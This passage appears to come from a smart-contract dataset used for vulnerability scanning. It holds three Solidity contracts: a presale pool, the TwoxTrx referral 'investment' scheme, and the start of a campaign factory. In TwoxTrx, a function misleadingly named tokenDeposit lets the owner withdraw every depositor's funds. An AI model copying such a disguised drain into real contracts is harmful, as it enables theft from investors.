return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
| 288,427 | 756 |
429c4239a7ba479fa8b78a9c983d560153ab79da37e808e1d73a765e245b01b7
| 10,329 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x84491da39eec24ddfffa081792e5074dad373bed.sol
| 2,900 | 9,784 |
// Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract Moongang {
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
uint256 correct_amount = SafeMath.div(SafeMath.mul(min_amount, 100), 99);
require(this.balance >= correct_amount);
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 100; //1% fee
uint256 constant FEE_DEV = SafeMath.div(20, 3); //15% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens = false;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
require(!bought_tokens);
//Avoids burning the funds
require(sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
owner.transfer(SafeMath.sub(fees, dev_fee));
developer.transfer(dev_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(allow_refunds && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
//We have to take in account the partial refund of the fee too if the tokens weren't bought yet
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[_to_refund] = SafeMath.sub(balances[_to_refund], eth_to_withdraw);
balances_bonus[_to_refund] = balances[_to_refund];
_to_refund.transfer(eth_to_withdraw);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0 && sale == 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner {
percent_reduction = _reduction;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(allow_refunds && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
//We have to take in account the partial refund of the fee too if the tokens weren't bought yet
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], eth_to_withdraw);
balances_bonus[msg.sender] = balances[msg.sender];
msg.sender.transfer(eth_to_withdraw);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
}
| 194,391 | 757 |
1083ad070a092799a0e01b7a936edf249591fc02d2dadd749edbf04f80736c3b
| 16,219 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVPpPEEBQN9hvqUeGF3S4hxBi9DzSNii1x_TwoxTrx.sol
| 4,342 | 15,517 |
//SourceUnit: 2xtrx.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
uint256 match_bonus;
uint256 match_count;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TwoxTrx is Ownable {
using SafeMath for uint256;
uint256 public constant REFERENCE_LEVEL1_RATE = 100;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant MINIMUM = 100e6;
uint256 public constant REFERRER_CODE = 1000;
uint256 public constant PLAN_INTEREST = 50;
uint256 public constant PLAN_INTEREST1 = 10;
uint256 public constant PLAN_INTEREST2 = 20;
uint256 public constant PLAN_INTEREST3 = 30;
uint256 public constant PLAN_REINTEREST = 55;
uint256 public constant PLAN_TERM = 105 days;
uint256 public constant MARKETTING_FEE = 50;
uint256 public constant DEVELOPER_FEE = 50;
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256[3][] public matches;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
address payable public marketAddress;
address payable public developerAddress;
constructor(address payable mktAddr,address payable devprAddr) public {
require(!isContract(mktAddr) && !isContract(devprAddr));
marketAddress=mktAddr;
developerAddress=devprAddr;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory,uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
uint256 uid = address2UID[msg.sender];
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if(investor.planCount>=2){
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_REINTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
uint256 total_users;
if(latestReferrerCode==1000){
total_users = 1;
}else{
total_users =latestReferrerCode-1000 ;
}
if(total_users==1000)
{
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST1, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
if(total_users==10000)
{
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST2, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
if(investor.plans[i].investmentDate + 5 days == block.timestamp) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST3, block.timestamp, investor.plans[i].lastWithdrawalDate);
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends,
uid2Investor[uid].match_bonus);
}
function tokenDeposit() public payable{
require(msg.sender == owner, "Only Token Deposit Avilable");
msg.sender.transfer(address(this).balance);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 mFee = _amount.mul(MARKETTING_FEE).div(1000);
uint256 devloperFee = _amount.mul(DEVELOPER_FEE).div(1000);
marketAddress.transfer(mFee);
developerAddress.transfer(devloperFee);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].match_bonus>0) {
withdrawalAmount += uid2Investor[uid].match_bonus;
uid2Investor[uid].match_bonus = 0;
}
if(withdrawalAmount>0){
//withdraw
uint256 subAmnt=withdrawalAmount.mul(10).div(100);
msg.sender.transfer(withdrawalAmount.sub(subAmnt));
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
if(uid2Investor[_ref1].level1RefCount%2==0){
uint256 amnt=0;
uint256 strt=(uid2Investor[_ref1].level1RefCount-2);
uint256 repeat=2;
uint256 count=0;
uint256 loop=0;
for(uint256 i = 0; i <matches.length ; i++) {
if(matches[i][0]==_referrerCode){
if(count==strt && repeat>loop){
amnt+=matches[i][2];
loop++;
}else{
count++;
}
}
}
uint256 matchPercent=amnt.mul(10).div(100);
uid2Investor[_ref1].match_bonus += matchPercent;
}
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 305,487 | 758 |
d388a84c018151ab04f67a7a86978cc31a4074e3e2dcae7c26ef9d60bbed42cd
| 25,608 |
.sol
|
Solidity
| false |
128776516
|
2key/contracts
|
aadccf693c0f8599292bbc1eff8c417081a73e13
|
flattenedContracts/TwoKeyFactoryFlattened.sol
| 4,142 | 19,197 |
pragma solidity ^0.4.13;
contract IHandleCampaignDeployment {
function setInitialParamsCampaign(address _twoKeySingletonesRegistry,
address _twoKeyAcquisitionLogicHandler,
address _conversionHandler,
address _moderator,
address _assetContractERC20,
address _contractor,
address _twoKeyEconomy,
uint [] values) public;
function setInitialParamsLogicHandler(uint [] values,
string _currency,
address _assetContractERC20,
address _moderator,
address _contractor,
address _acquisitionCampaignAddress,
address _twoKeySingletoneRegistry,
address _twoKeyConversionHandler) public;
function setInitialParamsConversionHandler(uint [] values,
address _twoKeyAcquisitionCampaignERC20,
address _twoKeyPurchasesHandler,
address _contractor,
address _assetContractERC20,
address _twoKeySingletonRegistry) public;
function setInitialParamsPurchasesHandler(uint[] values,
address _contractor,
address _assetContractERC20,
address _twoKeyEventSource,
address _proxyConversionHandler) public;
function setInitialParamsDonationCampaign(address _contractor,
address _moderator,
address _twoKeySingletonRegistry,
address _twoKeyDonationConversionHandler,
address _twoKeyDonationLogicHandler,
uint [] numberValues,
bool [] booleanValues) public;
function setInitialParamsDonationConversionHandler(string tokenName,
string tokenSymbol,
string _currency,
address _contractor,
address _twoKeyDonationCampaign,
address _twoKeySingletonRegistry) public;
function setInitialParamsDonationLogicHandler(uint[] numberValues,
string currency,
address contractor,
address moderator,
address twoKeySingletonRegistry,
address twoKeyDonationCampaign,
address twokeyDonationConversionHandler) public;
function setInitialParamsCPCCampaign(address _contractor,
address _twoKeySingletonRegistry,
string _url,
address _mirrorCampaignOnPlasma,
uint _bountyPerConversion,
address _twoKeyEconomy)
public;
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyCampaignValidator {
function isCampaignValidated(address campaign) public view returns (bool);
function validateAcquisitionCampaign(address campaign, string nonSingletonHash) public;
function validateDonationCampaign(address campaign, address donationConversionHandler, address donationLogicHandler, string nonSingletonHash) public;
function validateCPCCampaign(address campaign, string nonSingletonHash) public;
}
contract ITwoKeyEventSourceEvents {
// This 2 functions will be always in the interface since we need them very often
function ethereumOf(address me) public view returns (address);
function plasmaOf(address me) public view returns (address);
function created(address _campaign,
address _owner,
address _moderator)
external;
function rewarded(address _campaign,
address _to,
uint256 _amount)
external;
function acquisitionCampaignCreated(address proxyLogicHandler,
address proxyConversionHandler,
address proxyAcquisitionCampaign,
address proxyPurchasesHandler,
address contractor)
external;
function donationCampaignCreated(address proxyDonationCampaign,
address proxyDonationConversionHandler,
address proxyDonationLogicHandler,
address contractor)
external;
function priceUpdated(bytes32 _currency,
uint newRate,
uint _timestamp,
address _updater)
external;
function userRegistered(string _name,
address _address,
string _fullName,
string _email,
string _username_walletName)
external;
function cpcCampaignCreated(address proxyCPC,
address contractor)
external;
function emitHandleChangedEvent(address _userPlasmaAddress,
string _newHandle)
public;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
event ProxyCreated(address proxy);
event VersionAdded(string version, address implementation, string contractName);
function addVersion(string _contractName, string version, address implementation) public;
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyFactoryStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
function getAddressFromTwoKeySingletonRegistry(string contractName)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(string contractName)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract Proxy {
// Gives the possibility to delegate any call to a foreign implementation.
function implementation() public view returns (address);
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyFactory is Upgradeable, ITwoKeySingletonUtils {
bool initialized;
string constant _addressToCampaignType = "addressToCampaignType";
string constant _twoKeyEventSource = "TwoKeyEventSource";
string constant _twoKeyCampaignValidator = "TwoKeyCampaignValidator";
ITwoKeyFactoryStorage PROXY_STORAGE_CONTRACT;
event ProxyForCampaign(address proxyLogicHandler,
address proxyConversionHandler,
address proxyAcquisitionCampaign,
address proxyPurchasesHandler,
address contractor);
event ProxyForDonationCampaign(address proxyDonationCampaign,
address proxyDonationConversionHandler,
address proxyDonationLogicHandler,
address contractor);
function setInitialParams(address _twoKeySingletonRegistry,
address _proxyStorage)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = ITwoKeySingletoneRegistryFetchAddress(_twoKeySingletonRegistry);
PROXY_STORAGE_CONTRACT = ITwoKeyFactoryStorage(_proxyStorage);
initialized = true;
}
function getLatestApprovedCampaignVersion(string campaignType)
public
view
returns (string)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getLatestCampaignApprovedVersion(campaignType);
}
function createProxyForCampaign(string campaignType,
string campaignName)
internal
returns (address)
{
ProxyCampaign proxy = new ProxyCampaign(campaignName,
getLatestApprovedCampaignVersion(campaignType),
address(TWO_KEY_SINGLETON_REGISTRY));
return address(proxy);
}
function createProxiesForAcquisitions(address[] addresses,
uint[] valuesConversion,
uint[] valuesLogicHandler,
uint[] values,
string _currency,
string _nonSingletonHash)
public
payable
{
//Deploy proxy for Acquisition contract
address proxyAcquisition = createProxyForCampaign("TOKEN_SELL","TwoKeyAcquisitionCampaignERC20");
//Deploy proxy for ConversionHandler contract
address proxyConversions = createProxyForCampaign("TOKEN_SELL","TwoKeyConversionHandler");
//Deploy proxy for TwoKeyAcquisitionLogicHandler contract
address proxyLogicHandler = createProxyForCampaign("TOKEN_SELL","TwoKeyAcquisitionLogicHandler");
//Deploy proxy for TwoKeyPurchasesHandler contract
address proxyPurchasesHandler = createProxyForCampaign("TOKEN_SELL","TwoKeyPurchasesHandler");
IHandleCampaignDeployment(proxyPurchasesHandler).setInitialParamsPurchasesHandler(valuesConversion,
msg.sender,
addresses[0],
getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource),
proxyConversions);
// Set initial arguments inside Conversion Handler contract
IHandleCampaignDeployment(proxyConversions).setInitialParamsConversionHandler(valuesConversion,
proxyAcquisition,
proxyPurchasesHandler,
msg.sender,
addresses[0], //ERC20 address
TWO_KEY_SINGLETON_REGISTRY);
